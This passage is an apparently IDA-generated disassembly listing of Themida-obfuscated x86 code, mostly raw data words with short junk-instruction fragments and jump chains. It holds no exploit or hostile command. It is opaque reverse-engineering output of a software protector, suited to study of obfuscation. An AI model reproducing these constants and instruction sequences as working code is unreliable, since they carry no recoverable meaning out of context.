		dd 58C0C681h, 0C6811E30h, 32CC5485h, 83243C8Bh,	226804C4h
		dd 8900007Fh, 0BF572434h, 5B5379F0h, 4247C31h, 0FCE95F5Fh
		dd 55FFFF94h, 2BDh, 6F4EE900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54D562:				; CODE XREF: Themida_:0054B6EFj
		mov	edi, 4
		jmp	loc_54AFC0
; ---------------------------------------------------------------------------


loc_54D56C:				; CODE XREF: Themida_:0054C4B2j
		mov	[esp], edi
		jmp	loc_54A1A2
; ---------------------------------------------------------------------------
		dd 0B5515A66h, 0FED5F676h, 7BCD80CDh, 0E92CCD80h, 146Bh
		dd 6D23BD55h, 0ED81754Bh, 6C2C605Fh, 2C8BEE31h,	4C48124h
		dd 89000000h, 37E95EF2h, 5FFFFF5Eh, 0FF5E62E9h,	979605FFh
		dd 0C3296F32h, 0E9EB2958h, 0FFFFB950h, 0E8EEE959h, 4F58FFFFh
		dd 35F7EF81h, 0FE0112DFh, 0FFAED5E9h, 0E9E289FFh, 0FFFFD5A6h
; ---------------------------------------------------------------------------


loc_54D5D8:				; CODE XREF: Themida_:00548E7Fj
		mov	eax, [esp]
		jmp	loc_546827
; ---------------------------------------------------------------------------


loc_54D5E0:				; CODE XREF: Themida_:00545E64j
		add	esp, 4
		shr	eax, 12h
		xor	eax, ecx
		push	7EAFh
		mov	[esp], eax
		push	ebp
		mov	eax, [esp]
		add	esp, 4
		pop	ebp
		xchg	eax, ebp
		xchg	eax, edx
		not	edx
		xchg	eax, edx
		xchg	eax, ebp
		push	eax
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp]
		jmp	loc_549FDA
; ---------------------------------------------------------------------------
		db 2Ch,	37h, 0E9h
		dd 0FFFF8CFEh, 0E7E9C820h, 5FFFFF89h, 3943BE35h, 0A37BE922h
		dd 0C781FFFFh, 0DCE13CD8h, 3EE9FB01h, 50FFFF9Ch, 0D190E951h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54D63E:				; CODE XREF: Themida_:0054C4FBj
		mov	edi, 21512DEEh
		sub	ebp, edi
		pop	edi
		jmp	loc_546B4D
; ---------------------------------------------------------------------------
		db 5Ah
		dd 541E79BFh, 8BD70123h, 0C4812414h, 4,	247E79B9h, 5FF92946h
		dd 4246C81h, 740510E9h,	1161E9h, 6E95900h, 81FFFF8Bh, 2E489CC2h
		dd 0E8C28152h, 81AD3095h, 0F035F5C5h, 81D50175h, 0F035F5EDh
		dd 0B8505A75h, 4, 0FFD6B9E9h, 2414F7FFh, 7E2C15Ah, 792F281h
		dd 0BF5747C7h, 31957257h, 0F702E7C1h, 99E781DFh, 574C043Fh
		dd 5F2404FFh, 0BA8CE955h, 34FFFFFFh, 2434FF24h,	0E92434FFh
		dd 0FFFFB811h
; ---------------------------------------------------------------------------


loc_54D6D4:				; CODE XREF: Themida_:00544414j
		xor	ebx, esi
		pop	esi
		push	ebx
		pop	ecx
		pop	ebx
		add	[esp+4], ecx
		pop	ecx
		pop	edx
		sub	edx, 6C91006Fh
		sub	esp, 4
		jmp	loc_54E171
; ---------------------------------------------------------------------------


loc_54D6EE:				; CODE XREF: Themida_:005474A3j
		push	esp
		pop	ebx
		push	edi
		jmp	loc_5478F9
; ---------------------------------------------------------------------------
		dw 5957h
		dd 0FFE81DE9h, 0AECF81FFh, 0C1568569h, 70E904E7h, 8BFFFFE5h
		dd 0C4812414h, 4, 3D7FBF57h, 19E953C9h
		db 64h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54D71F:				; CODE XREF: Themida_:0054DAA2j
		and	ebp, 4A874F11h
		add	ebp, 835DA072h
		add	ebp, edx
		mov	edx, [esp]
		jmp	loc_546511
; ---------------------------------------------------------------------------
		db 52h,	0BAh, 4
		dd 89000000h, 0DDAE9D3h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_54D742:				; CODE XREF: Themida_:0054B093j
		xchg	ebx, [esp]
		pop	esp
		jmp	loc_54D92A
; ---------------------------------------------------------------------------
		db 81h
		dd 4C4h, 74FF5000h, 0EDE90424h,	83FFFF83h, 1C8904ECh, 0D19FE924h
		dd 0D829FFFFh, 930D6B05h, 0F2E95B2Ah, 0B9FFFF59h, 2E460A3h
		dd 5EF18149h, 0C1060613h, 0C98108E1h, 1D674997h, 0FFF575E9h
		dd 4E3C1FFh, 0D09FF381h, 0DD3193A2h, 5DE8015Bh,	4CE94048h
		dd 2CFFFF8Eh, 7185E9F8h, 34FFFFFFh, 4BE95924h, 50FFFF9Eh
		dd 0FF7753E9h, 243C89FFh, 0FF8E1CE9h, 44F5BBFFh, 0C2816FCDh
		dd 5E90325Fh, 0EA81DA29h, 5E90325Fh, 24348B5Bh,	4C481h
		dd 0C2810000h, 4, 0E9241487h, 0FFFFB1FEh, 2C8BE901h, 0DAEE924h
		dd 0CF010000h, 1C6BEF81h, 33592A93h, 0AEE9243Ch, 20FFFF82h
		dd 0B25258C3h, 0D1CFE91Ah, 13B8FFFFh, 54DBB7Dh,	4FCC0EC6h
		dd 0AB30AB0Dh, 86E9481Ah
		db 0FDh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54D827:				; CODE XREF: Themida_:00545344j
		mov	ebp, 1D3B47B9h
		shl	ebp, 5
		xor	ebp, 3ACD2464h
		jmp	loc_547F71
; ---------------------------------------------------------------------------
		dw 0E981h
		dd 432F45D9h, 0C0C98141h, 812EA561h, 3934F7C9h,	5C18145h
		dd 180420Ah, 42D59C8h, 87000000h, 895C2404h, 39B1240Ch
		dd 0FFEFAAE9h, 0FEE3B7FFh, 9CCF80CFh, 0E98FEF80h, 0FFFF80CEh
		dd 42474FFh, 8324348Bh,	48F04C4h, 71516824h, 34890000h
		dd 2414F724h, 5E2434FFh, 6804C483h, 0C1Dh, 0FFD8C2E9h
		dd 4611BEFFh, 0F50920BCh, 0FF63F6E9h, 243487FFh, 243C895Ch
		dd 42474FFh, 0FF8C77E9h, 4CE956FFh, 33FFFFC9h, 2C31242Ch
		dd 242C3324h, 5756525Ch, 177333BFh, 5FFE8975h, 0FFFCABE9h
		dd 2C5004FFh, 0B55166C1h, 88F4E9EAh, 0C89FFFFh,	5B924h
		dd 0CE310020h, 0D7EB8159h, 0E92E804Ch, 0FFFFA556h
; ---------------------------------------------------------------------------


loc_54D900:				; CODE XREF: Themida_:00543A57j
		pop	ebp
		pop	dword ptr [esp]
		mov	esp, [esp]
		btc	[esp], ax
		pushf
		jmp	loc_543165
; ---------------------------------------------------------------------------
		dw 0C181h
		dd 4, 8702E983h, 665C240Ch, 66241489h, 699DE955h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54D92A:				; CODE XREF: Themida_:0054D746j
		add	esp, 4
		sub	esp, 4
		mov	[esp], edx
		push	edi
		mov	edi, 78D8748Ch
		mov	edx, edi
		pop	edi
		and	edx, 78FA6F97h
		push	1271h
		mov	[esp], eax
		mov	eax, 2851231Dh
		or	eax, 374D5139h
		push	ecx
		mov	ecx, 42600675h
		jmp	loc_545F8B
; ---------------------------------------------------------------------------
		dw 335Dh
		dd 3C31243Ch, 243C3324h, 0FF95D1E9h, 0EC815BFFh, 4, 0FFDEB8E9h
		dd 42BCBDFFh, 454D4888h, 0C581DDF7h, 488842C0h,	59A7C681h
		dd 0EE017948h, 59A7EE81h, 685D7948h, 14Eh, 0BB241C89h
		dd 2, 12F2C681h, 0DE0106E8h, 0FF73F2E9h, 814E46FFh, 5B4A45E6h
		dd 1AEE91Ah
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_54D9C2:				; CODE XREF: Themida_:005486B7j
		mov	[edi+eax*4+1], ch
		pop	ecx
		jmp	loc_54D527
; ---------------------------------------------------------------------------


loc_54D9CC:				; CODE XREF: Themida_:0054CAA8j
		mov	edi, [esp]
		add	esp, 4
		push	edi
		jmp	loc_545B62
; ---------------------------------------------------------------------------


loc_54D9D8:				; CODE XREF: Themida_:00546102j
		mov	[esp], edi
		push	edx
		mov	edx, 4C112180h
		push	edx
		pop	edi
		jmp	loc_54DC1D
; ---------------------------------------------------------------------------


loc_54D9E8:				; CODE XREF: Themida_:0054B5BEj
		movzx	eax, ax
		push	small 18EBh
		jmp	loc_544742
; ---------------------------------------------------------------------------
		dd 53D830ACh, 0C381E389h, 4, 0FFF897E9h, 8BF901FFh, 55505901h
		dd 0A46962BDh, 9993E946h, 0C683FFFFh, 24348702h, 2404205Ch
		dd 106BE99Ch, 0BB530000h, 4, 0B8E9DA01h, 68FFFF87h, 33A5h
		dd 24048F54h, 4240483h,	0FF9D7EE9h, 57D829FFh, 0DE83E956h
		dd 489FFFFh, 11685724h,	8B043664h, 0CFE9243Ch, 87000017h
		dd 0F2E92404h, 57FFFFCEh, 0AB1A2ABFh, 0CBEF817Eh, 81409208h
		dd 4652C7h, 8CF78129h, 3150542Ch, 0C2015FF8h, 0FFD02158h
		dd 11E92434h
		db 67h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54DA8F:				; CODE XREF: Themida_:0054586Aj
		jmp	loc_543165
; ---------------------------------------------------------------------------


loc_54DA94:				; CODE XREF: Themida_:005448D4j
		pop	esp
		mov	[esp], edx
		mov	edx, 7A9D1F7Ch
		mov	ebp, 2226603Dh
		jmp	loc_54D71F
; ---------------------------------------------------------------------------


loc_54DAA7:				; CODE XREF: Themida_:0054450Cj
		dec	bl
		jmp	loc_54A3F3
; ---------------------------------------------------------------------------


loc_54DAAE:				; CODE XREF: Themida_:0054DEBEj
		sub	esp, 4
		jmp	loc_548882
; ---------------------------------------------------------------------------
		dw 0DF09h
		dd 0FFC819E9h, 2C895CFFh, 2800BD24h, 0F58129B1h, 0EE83B1Bh
		dd 0D2AED81h, 0F5816E3Bh, 0B91E01F1h, 0FFB0D5E9h, 5750B8FFh
		dd 58E96B2Bh, 0FFFFFBDh, 0E955C0B6h, 0FFFF719Bh, 0E904E883h
		dd 0FFFF58D5h, 66F5E580h, 800B652h, 805A66F5h, 0C5804BF5h
		dd 222E91Eh, 81580000h,	240797C3h, 0FBEB8139h, 5F6EB37Bh
		dd 42E9008Fh, 87FFFF56h, 248B240Ch, 5AD38924h, 34FFDE89h
		dd 89525B24h, 1225E9E2h, 1C890000h, 4BB24h, 0D9210000h
		dd 81241C8Bh, 4C4h, 0AE9C100h, 432D68h,	24148900h, 0E9565553h
		dd 0FFFFE037h, 6824048Bh, 65EDh, 0E9240C89h, 0FFFF882Ch
		dd 0C681D6F7h, 86AFBFCAh, 0FFAC80E9h, 86EE81FFh, 81624015h
		dd 0BF0156E6h, 12F6812Dh, 890CB000h, 0E8015EF5h, 74FF505Dh
		dd 8F580424h, 248B2404h, 0E1F76624h, 6C9468h, 24148900h
		dd 0E6685A54h, 8900007Bh, 0BB532404h, 422A305Ah, 0D3F7DBF7h
		dd 56EB8143h, 89422A30h, 0C2015BD8h, 0FF67C0E9h, 148758FFh
		dd 0E6FAE924h, 0EE01FFFFh, 25D7EE81h, 0DFE96EBBh
		db 0F6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54DBE7:				; CODE XREF: Themida_:0054A947j
		sub	edx, eax
		pop	eax
		add	edx, edi
		add	edx, 386A6648h
		pop	edi
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		push	edi
		jmp	loc_548243
; ---------------------------------------------------------------------------


loc_54DC00:				; CODE XREF: Themida_:005460BEj
		push	esi
		mov	esi, 6E402479h
		not	esi
		jmp	loc_5453C1
; ---------------------------------------------------------------------------
		db 89h,	4, 24h
		dd 405E089h, 51000000h,	0FF6B8AE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54DC1D:				; CODE XREF: Themida_:0054D9E3j
		mov	edx, [esp]
		add	esp, 4
		shl	edi, 1
		push	ecx
		mov	ecx, 625C72A3h
		add	ecx, 63736C4Ch
		xor	ecx, 102261CDh
		push	esi
		mov	esi, 0DCA5CC5h
		add	ecx, esi
		pop	esi
		xor	ecx, 24F903FCh
		jmp	loc_54F473
; ---------------------------------------------------------------------------
		db 50h
		dd 42474FFh, 24048F58h,	0E9F1F65Ch, 0FFFFAB5Bh
; ---------------------------------------------------------------------------


loc_54DC5C:				; CODE XREF: Themida_:0054E6B2j
		mov	ebx, 46BA6855h
		push	eax
		mov	eax, 28E7567h
		sub	eax, 0ABD027A9h
		jmp	loc_5431F6
; ---------------------------------------------------------------------------
		db 0C1h, 0E2h, 5
		dd 0F2814A4Ah, 85644182h, 4EDEEF81h, 0E9557292h, 0FFFF74E2h
		dd 28F4C780h, 8D18E9CFh, 0E958FFFFh, 0FFFF8146h, 295DE829h
		dd 7B9605C8h, 0C0E91D90h, 5EFFFFF0h, 0C15DEE29h, 0E95102E6h
		dd 0FFFF85EFh
; ---------------------------------------------------------------------------


loc_54DCB4:				; CODE XREF: Themida_:00545CD9j
		mov	ch, 1
		sub	bl, ch
		jmp	loc_54AEF4
; ---------------------------------------------------------------------------
		db 5, 0BDh, 6
		dd 665B0FE5h, 6800B60Fh, 3367h,	0FFB00AE9h, 4077FFFFh
		dd 0FF548CE9h, 4BB050FFh, 0C228EE2Ch, 5AD73058h, 534EE780h
		dd 1245CF6h, 0BCF0E95Bh, 0E6C1FFFFh, 0BDC68106h, 89239077h
		dd 0F8015EF7h, 0E189515Fh, 4C181h, 0E9830000h, 0ECF1E904h
		dd 4EE9FFFFh, 81FFFF54h, 62560DC3h, 5BDE31B4h, 348BF731h
		dd 0CC22E924h, 0E95BFFFFh, 0FFFF76CDh, 0C059E830h, 0E0D007E0h
		dd 3403E8C0h, 0FFC72071h, 81582434h, 4C4h, 3EFC000h, 0B151CFFEh
		dd 8149E9A3h, 3C8BFFFFh, 4C48324h, 0FFAB6FE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54DD61:				; CODE XREF: Themida_:005498E1j
		shl	bh, 3
		jmp	loc_54CB46
; ---------------------------------------------------------------------------


loc_54DD69:				; CODE XREF: Themida_:0054674Ej
		mov	edi, 77AA13E5h
		and	edi, 699008ECh
		add	edi, 4091383Ch
		jmp	loc_546B3F
; ---------------------------------------------------------------------------
		db 52h
		dd 0FF5EE6E9h, 7BC681FFh, 0E912E243h, 0
		dd 0CBBFEE81h, 0F7098D0Eh, 0EF81475Eh, 1737A707h, 0FF6A41E9h
		dd 13EA81FFh, 0E90F3135h, 0FFFFDFE0h
; ---------------------------------------------------------------------------


loc_54DDB0:				; CODE XREF: Themida_:loc_546521j
		jnz	loc_54F012
		push	edi
		sub	esp, 4
		jmp	loc_5491F1
; ---------------------------------------------------------------------------
		dw 0EE81h
		dd 1E3058C0h, 5DE9FE01h, 89FFFFF7h, 1CE92414h, 68FFFFEAh
		dd 7DBFh, 89243489h, 4BB53E6h, 1000000h, 2434FFDEh, 0B2E9555Bh
		dd 8BFFFFC1h, 17E92424h, 0BBFFFFFFh, 74C5524Bh,	0FFA87CE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54DE05:				; CODE XREF: Themida_:00545C7Bj
		push	edi
		xor	dword ptr [esp], 11DC75E2h
		pop	ebx
		xor	ebx, 11DC75E2h
		jmp	loc_544E19
; ---------------------------------------------------------------------------
		db 89h,	0Ch, 24h
		dd 5156E189h, 717F84B9h, 8080BE0Eh, 0CE01F18Eh,	8BF10159h
		dd 0C4812434h, 4, 4BA5256h, 0E9000000h,	0FFFFEEA2h, 89241C89h
		dd 0DB8EE9E3h, 0FBBFFFFh, 892B544Eh, 0CD815BDDh, 4D1C51B9h
		dd 0FF8024E9h, 228B05FFh, 0B8501F1Eh, 774D25C2h, 12DD0F7h
		dd 35000000h, 0BFB2B831h, 0FFDE1DE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54DE7D:				; CODE XREF: Themida_:0054AFF1j
		sub	edx, 48720004h
		add	esi, 41BE2416h
		jmp	loc_54A289
; ---------------------------------------------------------------------------


loc_54DE8E:				; CODE XREF: Themida_:00549EF1j
		xor	eax, [esp]
		mov	esp, [esp]
		mov	[esp], ebx
		push	dword ptr [esp]
		pop	eax
		push	edi
		jmp	loc_546DE5
; ---------------------------------------------------------------------------


loc_54DEA1:				; CODE XREF: Themida_:0054D479j
		push	dword ptr [edi+eax*4]
		push	dword ptr [esp]
		pop	eax
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], esi
		jmp	loc_54DAAE
; ---------------------------------------------------------------------------
		db 0FEh
		dd 68CFh, 3C280000h, 243C8A24h,	8004C483h, 8E97AF7h, 81FFFF79h
		dd 6A5113C2h, 51F28133h, 0E93462EAh, 0FFFFEE5Bh, 0D0003804h
		dd 148B382Ch, 4C48324h,	28ECB652h, 55045AF0h, 552CD800h
		dd 8951EC04h, 0E6BB53E1h, 0F759545Bh, 81D3F7D3h, 0ABA41EC3h
		dd 0E9D901A6h, 0FFFF8173h
; ---------------------------------------------------------------------------


loc_54DF20:				; CODE XREF: Themida_:0054D49Ej
		xor	eax, edx
		pop	edx
		push	small word ptr [eax]
		jmp	loc_543165
; ---------------------------------------------------------------------------


loc_54DF2B:				; CODE XREF: Themida_:00546E09j
		push	ecx
		mov	ecx, 0FFFFFFFFh
		jmp	loc_54E863
; ---------------------------------------------------------------------------
		dw 24D3h
		dd 26E99C24h, 66FFFF52h, 81241C89h, 4ECh, 24148900h, 0FF60B7E9h
		dd 0AFF581FFh, 315F9B1Ah, 9685DEBh, 0E9000026h,	0FFFF6C3Dh
		dd 0E9240433h, 0FFFFF178h, 4BFh, 0E9FB0100h, 0FFFF5772h
		dd 38E9C701h
		db 7, 2	dup(0)
; ---------------------------------------------------------------------------


loc_54DF7F:				; CODE XREF: Themida_:0054A2D1j
		mov	esp, [esp]
		and	eax, ebx
		pop	ebx
		or	eax, eax
		jz	loc_54F012
		push	13B0h
		mov	[esp], edx
		mov	edx, 28h
		sub	esp, 4
		mov	[esp], esi
		jmp	loc_54D435
; ---------------------------------------------------------------------------
		db 57h,	0BFh, 30h
		dd 0F733660Ch, 2AC781D7h, 0E93ECB1Eh, 0FFFFE33Bh, 1B27BE56h
		dd 0F3290F2Dh, 148B665Eh, 0E9545524h, 0FFFFCEDCh, 5C243487h
		dd 56E78957h, 0D2FE9h, 243C8900h, 0FF7983E9h, 48B66FFh
		dd 0E0895024h, 405h, 4E88300h, 5C240487h, 68243489h, 7659h
		dd 81242489h, 42404h, 40E90000h, 81FFFF6Eh, 4C4h, 4BE5600h
		dd 29000000h, 0D6E95EF7h, 59FFFFB4h, 4B3BBD55h,	2FE94B2Eh
		dd 83FFFFAEh, 356804C3h, 89000075h, 74FF241Ch, 8F5B0424h
		dd 248B2404h, 240C8B24h, 148B5452h, 4C48124h, 68000000h
		dd 152h, 0FF646EE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54E059:				; CODE XREF: Themida_:00546D24j
		sub	esi, 754C1D9Bh
		push	esi
		neg	dword ptr [esp]
		jmp	loc_54CA1B
; ---------------------------------------------------------------------------
		dd 8124248Bh, 4ECh, 7478E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54E076:				; CODE XREF: Themida_:005431F1j
		mov	ah, dh
		push	552Ch
		mov	[esp], edx
		push	ebx
		mov	bl, ah
		jmp	loc_546A0B
; ---------------------------------------------------------------------------


loc_54E088:				; CODE XREF: Themida_:0054B365j
		shr	edx, 1
		cmp	eax, edx
		jmp	loc_548C7A
; ---------------------------------------------------------------------------
		db 0FFh, 34h, 24h
		dd 0FFEEDEE9h, 0B82CACFFh, 0FFF702E9h, 1C7709FFh, 0DE01E95Eh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54E0AA:				; CODE XREF: Themida_:00544AC6j
		add	esi, ecx
		push	eax
		mov	eax, 721D3F9Bh
		jmp	loc_54BDDB
; ---------------------------------------------------------------------------
		db 81h
		dd 4C4h, 5B69E900h, 483FFFFh, 0D8E90424h, 8BFFFFC1h, 58E92424h
		dd 1FFFFA9h, 0EF84E9F0h, 0C280FFFFh, 0E660E995h, 3D68FFFFh
		dd 0E9000035h, 0FFFFC3D5h, 5304C483h, 846130BBh, 77BD5535h
		dd 8168F44Bh, 0BB488C5h, 0F3B4E997h, 0B7B9FFFFh, 8129D575h
		dd 0F034B4C1h, 0E9CB0101h, 0FFFFCD7Fh, 48BC731h, 4C48324h
		dd 7C95C781h, 0C7816095h, 45382A86h, 8DD5C781h,	0F8014FE1h
		dd 0E9D8295Fh, 0FFFF73BDh, 489665Ch, 501FE924h,	0F766FFFFh
		dd 846850F9h, 8900006Dh, 5AE92424h, 81FFFFE2h, 0D47653F3h
		dd 0C6EF8139h, 1093E43h, 0C6C781DFh, 5B093E43h,	0FFD971E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54E171:				; CODE XREF: Themida_:0054D6E9j
		mov	[esp], edx
		pop	eax
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		push	ebp
		mov	ebp, 6A901FE2h
		shr	ebp, 8
		push	edx
		mov	edx, 58CF5F48h
		and	ebp, edx
		pop	edx
		push	77E4h
		mov	[esp], eax
		jmp	loc_548B00
; ---------------------------------------------------------------------------
		dw 0CBBFh
		dd 0E92AB133h, 0FFFF956Bh, 0A15DEBFh, 14F75772h, 0BB535F24h
		dd 27085AA7h, 0FFF8F9E9h, 241489FFh, 44DE9h, 2C815A00h
		dd 0EB3A7E24h, 24040130h, 5E08950h, 4, 42Dh, 24048700h
		dd 0DB60E95Ch, 0EF81FFFFh, 67654F39h, 3515F781h, 0FD01E422h
		dd 0E9243C8Bh, 0FFFFE9E4h, 240C8B66h, 0FFFBD2E9h, 2434FFFFh
		dd 81240C8Bh, 4C4h, 4EC8300h, 89243C89h, 4B951E7h, 1000000h
		dd 0AE6BE9CFh, 0D6F7FFFFh, 0FFA087E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54E22D:				; CODE XREF: Themida_:0054D021j
		push	dword ptr [esp]
		jmp	loc_54BDC8
; ---------------------------------------------------------------------------
		db 89h,	4, 24h
		dd 0C4240481h, 5B766234h, 34C4EB81h, 0B4E97662h
		db 0C4h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54E24B:				; CODE XREF: Themida_:00545CF7j
		push	dword ptr [esp+4]
		jmp	loc_545843
; ---------------------------------------------------------------------------
		dd 5C241C87h, 0B9240C89h, 2, 0FFED87E9h, 4C481FFh, 1000000h
		dd 2C875BDDh, 24248B24h, 24048B66h, 8904EC83h, 0DA682404h
		dd 0E9000076h, 0FFFFE3FBh, 0BD242C89h, 4, 815DE901h, 4C1h
		dd 0E60E900h, 0EFC10000h, 0C7814706h, 1, 4FACC781h, 0C7812BB0h
		dd 0D2539A6Ch, 575FF901h, 0C781E789h, 4, 0E904EF83h, 0FFFFC426h
		dd 7933C381h, 0DA01AF3Ah, 7FEA815Bh, 8153FA38h,	240DB8EAh
		dd 0E9C2017Bh, 0A9h, 9D1C77FFh,	4105866h, 72E99C24h, 5BFFFF4Eh
		dd 5804C483h, 3C8BF821h, 4C48324h, 0FF9BD3E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54E305:				; CODE XREF: Themida_:0054A6AAj
		xor	eax, ecx
		xchg	eax, edi
		xchg	ecx, edi
		not	ecx
		xchg	ecx, edi
		push	7985h
		mov	[esp], eax
		push	edi
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_54BA9D
; ---------------------------------------------------------------------------
		dw 0F781h
		dd 0D54B58FAh, 0F2E9FB21h
		db 0D0h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54E32F:				; CODE XREF: Themida_:00543D9Dj
		or	edx, eax
		shl	edx, 1
		push	1667h
		jmp	loc_543316
; ---------------------------------------------------------------------------


loc_54E33D:				; CODE XREF: Themida_:00548897j
		shl	ecx, 1
		jmp	loc_54B209
; ---------------------------------------------------------------------------
		dd 243C895Ch, 468h, 0F8015F00h,	0FF5CD5E9h, 23EF81FFh
		dd 81355639h, 49F7CBF7h, 0E9F9296Eh, 0FFFF80F3h
; ---------------------------------------------------------------------------


loc_54E368:				; CODE XREF: Themida_:0054AEF9j
		sub	al, 0F1h
		mov	ebx, [esp]
		push	esi
		mov	esi, esp
		push	ebp
		mov	ebp, 4875596Bh
		jmp	loc_545122
; ---------------------------------------------------------------------------
		db 0B8h
		dd 6BF384FBh, 26E9C731h, 54FFFF51h, 0FFD04FE9h,	0B8C281FFh
		dd 817B240Dh, 0FA387FC2h, 2EEA8153h, 811AD731h,	16012AEAh
		dd 4EC8310h, 0E9241C89h, 0FFFF8AB2h, 7E9C141h, 5194E181h
		dd 0F181424Fh, 4118782Ch, 5659C821h, 7B0130BEh,	5EF03152h
		dd 99E9C629h
		db 3 dup(0)
; ---------------------------------------------------------------------------


loc_54E3D3:				; CODE XREF: Themida_:0054F387j
		jz	loc_54D012
		push	ebx
		push	1Ch
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		jmp	loc_543334
; ---------------------------------------------------------------------------
		db 0B1h, 46h, 30h
		dd 0C8B66CFh, 2C48324h,	53356866h, 24148966h, 0D728BDB2h
		dd 24148B66h, 0FF5595E9h, 4C681FFh, 51000000h, 4B9h, 59CE2900h
		dd 5C243487h, 0BE243489h, 66460250h, 0FF6D7FE9h, 25EB81FFh
		dd 174146Ch, 5C72E9D9h,	0E5C1FFFFh, 97B6E905h, 0DA01FFFFh
		dd 0FCB9515Bh, 0E9342F2Ah, 0FFFFDC49h, 5147F987h, 3AE95957h
		dd 5CFFFFDEh, 83E9h, 0E9EE0100h, 0FFFF8966h, 81FE0158h
		dd 323104C6h, 243C8B53h, 0FFCA93E9h, 0E5CA81FFh, 816D7703h
		dd 0E4E698C2h, 5AD1890Ch, 4244481h, 4DF75A93h, 4246C81h
		dd 44857D33h, 0FF51DCE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54E4A1:				; CODE XREF: Themida_:00545C02j
		mov	edx, 1D817DEBh
		xor	ecx, edx
		jmp	loc_54844A
; ---------------------------------------------------------------------------
		db 0Fh,	0B6h, 0C0h
		dd 0E987048Fh, 0FFFFBCB7h, 83241C8Bh, 885A04C4h, 0D50858E2h
		dd 9B5CE95Ah, 0DE21FFFFh, 81DEF75Bh, 181002C6h,	5EF10120h
		dd 5C240C87h, 6602EC83h, 0E9243489h, 0FFFF6D01h, 81E78957h
		dd 4C7h, 4EF8100h, 0E9000000h, 0FFFFB9BCh, 4C4815Ch, 0E9000000h
		dd 0FFFF7104h, 0F0C3E952h, 0B850FFFFh, 3C3637DEh, 0E9D8F740h
		dd 0FFFFCB3Ah, 8124148Bh, 4C4h,	0EBE98100h, 8157CE44h
		dd 0B97BF6C1h, 9C64E958h, 0DA20FFFFh, 0B450515Bh, 58E1886Bh
		dd 0B652C9FEh, 4EEC0D7h, 0F680DEF6h, 5AF1301Ch,	8059CA30h
		dd 0EA803EE2h, 5AD02883h, 0FE39B151h, 3DC180C9h, 0E981E980h
		dd 3BCh, 0EBC1D3F7h, 6807h, 1C290000h, 0F7535B24h, 555B2414h
		dd 723A5BBDh, 7CED8177h, 0C100B909h, 0F58103E5h, 72A55FD4h
		dd 7A08B850h, 760D1CC7h, 0E949F510h, 0FFFFB5E3h, 0E904C483h
		dd 0FFFF7AFAh, 24048B66h, 3DE268h, 241C8900h, 251E68h
		dd 24248900h, 4240481h,	0E9000000h, 0FFFFBE73h,	333DC181h
		dd 15D4079h, 0C20159CAh, 2AD9EA81h, 0EA814A4Eh,	61113CEDh
		dd 0FFC7AAE9h, 67BABBFFh, 0D3F704F5h, 0FF9F58E9h, 91E681FFh
		dd 684B2217h, 1AA6h, 0FFF2E5E9h, 0B4C281FFh, 0F739423Bh
		dd 5864E9D2h, 0BAFFFFh,	0E9000000h, 0FFFFCC75h
; ---------------------------------------------------------------------------


loc_54E61C:				; CODE XREF: Themida_:0054B75Bj
		pop	edx
		add	edx, 4
		jmp	loc_545C9F
; ---------------------------------------------------------------------------
		dd 2001BD55h, 0F5810EB9h, 453D1D98h, 0E0E9E829h, 5AFFFF71h
		dd 0C7D801h, 0
		dd 8324048Bh, 1C8B04C4h, 4C48124h, 61000000h, 0AE9C39Dh
		dd 0FFFFFF4Bh, 5E042474h, 5C24048Fh, 709E68h, 9DFCE900h
		dd 895CFFFFh, 2B82404h,	0E9000000h, 0FFFF74D2h,	0E95B6658h
		dd 0FFFF91A3h, 840FC009h, 0FFFFD28Ah, 0FF1C77FFh, 34FF2434h
		dd 240C8B24h, 0E9E68956h, 0FFFF57F5h
; ---------------------------------------------------------------------------


loc_54E6A0:				; CODE XREF: Themida_:00544913j
		xor	al, dl
		mov	dx, [esp]
		push	edx
		push	esp
		mov	edx, [esp]
		add	esp, 4
		push	ebx
		jmp	loc_54DC5C
; ---------------------------------------------------------------------------
		db 0FFh
		dd 0DCE92434h, 83FFFFADh, 2C8704C5h, 0BA525C24h, 2, 6141EE81h
		dd 0D60120D6h, 6141C681h, 0E95A20D6h, 0FFFF7D52h, 4E981h
		dd 0C870000h, 2C895C24h, 81E58924h, 4C5h, 2ED8300h, 5C242C87h
		dd 240C8966h, 0C8B60F66h, 0E99C5166h, 0FFFF4A59h, 5902EB80h
		dd 0EC83C328h, 240C8904h, 536601B1h, 0D930CFB3h, 0B2525B66h
		dd 0A7C280A1h, 0FFE380E9h, 24048BFFh, 5104C483h, 3E9E189h
		dd 81FFFFB6h, 0B740F9C6h, 240C8B3Dh, 4C481h, 0C6830000h
		dd 24343302h, 33243431h, 248B2434h, 0E9E9F624h,	0FFFF6421h
		dd 0FD86D7F6h, 8003EDC0h, 0F580D5F5h, 0C6E0E9BDh, 0F281FFFFh
